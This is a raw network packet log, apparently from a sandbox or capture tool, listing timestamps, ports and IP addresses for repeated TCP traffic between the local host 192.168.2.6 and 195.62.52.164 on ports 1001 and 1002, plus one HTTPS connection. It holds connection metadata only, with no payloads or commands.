Dec 10, 2023 17:48:11.369422913 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.369445086 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.370421886 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.370496988 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.375973940 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.376045942 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.376070023 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.376116991 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.376173973 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.376219988 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.376368046 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.376585007 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.376636982 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.376643896 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.376691103 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.377101898 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.377116919 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.377155066 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.377172947 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.414771080 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.414908886 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.496609926 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.496767044 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.629947901 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.630036116 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.637104034 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.637192965 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.637239933 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.637316942 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.637343884 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.637440920 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.637620926 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.637691975 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.637800932 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.638269901 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.638349056 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.638545990 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.638607025 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.639456034 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.639513969 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.639538050 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.639580011 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.639588118 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.639678001 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.639779091 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.639839888 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.640127897 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.640176058 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.640191078 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.640273094 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.640304089 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.640317917 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.640387058 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.640640974 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.640702963 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.640773058 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.640774965 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.640826941 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.641046047 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.641078949 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.641104937 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.641129017 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.641199112 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.641401052 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.641453028 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.641453981 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.641531944 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.642112017 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.642210007 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.642261028 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.642287970 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.642323017 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.643029928 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.643085003 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.643177986 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.652894020 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.652968884 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.653009892 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.653068066 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.653243065 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.653305054 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.653470039 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.653528929 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.653732061 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.653795958 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.654093981 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.654154062 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.691492081 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.691524982 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.691643953 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.691663027 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.691715956 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.691833019 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.691895008 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.692054033 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.692114115 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.730796099 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.806057930 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.806138039 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.902623892 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.902904987 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.902939081 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.909615993 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.909713984 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.909989119 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.910056114 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.910288095 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.910356998 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.910453081 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.910512924 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.910666943 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.911319971 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.911390066 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.911885023 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.911957979 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.912075043 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.912107944 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.912128925 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.912158966 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.912755966 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.912810087 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.912839890 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.913067102 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.913115978 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.913149118 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.913177013 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.913222075 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.913336039 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.913580894 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.913650036 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.913711071 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.913923979 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.913959980 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.913978100 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.913990974 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.914026022 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.914174080 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.914324999 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.914385080 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.914518118 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.914571047 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.914661884 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.914711952 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.914836884 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.914885044 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.915317059 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.915380955 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.929955006 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.930143118 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.930269003 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.930520058 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.930764914 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.930816889 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.931111097 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.931253910 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.931525946 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.954088926 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.954160929 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.968291998 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.972067118 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.972105980 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.972184896 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.158144951 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.158216953 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.175817013 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.175878048 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.181925058 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.182048082 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.182607889 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.182674885 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.182697058 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.182867050 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.182972908 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.183022976 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.183149099 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.183243990 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.183293104 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.183690071 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.183737993 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.183921099 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.183974028 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.184546947 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.184590101 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.184591055 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.184676886 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.185153961 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.185230017 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.185509920 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.185585022 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.185611963 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.185632944 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.185653925 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.185736895 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.185977936 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.186017036 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.186078072 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.186129093 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.186347961 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.186394930 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.187886953 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.187939882 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.187956095 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.187959909 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.188009024 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.188097000 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.188191891 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.188271046 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.188344955 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.188426018 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.226110935 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.226212978 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.306118011 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.306210041 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.395822048 CET	1001	49709	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.398418903 CET	49725	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.436778069 CET	49709	1001	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.448739052 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.448882103 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.454401016 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.454509974 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.454785109 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.455100060 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.455151081 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.455276012 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.455287933 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.455321074 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.455336094 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.455425024 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.455529928 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.455879927 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.455949068 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.456773043 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.456830978 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.456885099 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.456940889 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.457385063 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.457454920 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.457547903 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:12.457916021 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.457942963 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.457972050 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.457982063 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.458031893 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.458033085 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.458103895 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.458206892 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.458708048 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.458744049 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.458766937 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.458792925 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.458913088 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.458977938 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.460151911 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.460221052 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.460398912 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.460457087 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.460496902 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.460549116 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.460561991 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.460573912 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.460604906 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.460645914 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.460655928 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.460696936 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.460763931 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.461044073 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.461102009 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.498251915 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.498374939 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.578293085 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.578362942 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.578857899 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.578912020 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.602066040 CET	1001	49709	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.608519077 CET	49726	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.655551910 CET	49709	1001	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.675074100 CET	1002	49725	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.675246954 CET	49725	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.675400972 CET	49725	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.721595049 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.721668959 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.729398966 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.729471922 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.729568005 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.729618073 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.729629040 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.729698896 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.729772091 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.730564117 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.730619907 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.730652094 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.730705976 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.730915070 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.730971098 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.731126070 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.731190920 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.732007027 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.732063055 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.732682943 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.732752085 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.733022928 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.733056068 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.733078003 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.733108997 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.733167887 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.733203888 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.733220100 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.733294010 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.734256983 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.734289885 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.734321117 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.734343052 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.734354973 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.734369993 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.734457016 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.734582901 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.734642029 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.734678030 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.734699965 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.735816956 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.735874891 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.736202955 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.736258984 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.736339092 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.736459970 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.736517906 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.736592054 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.736713886 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.736769915 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.736967087 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.736999989 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:12.737025023 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:12.737072945 CET	49716	1002	192.168.2.6	195.62.52.164
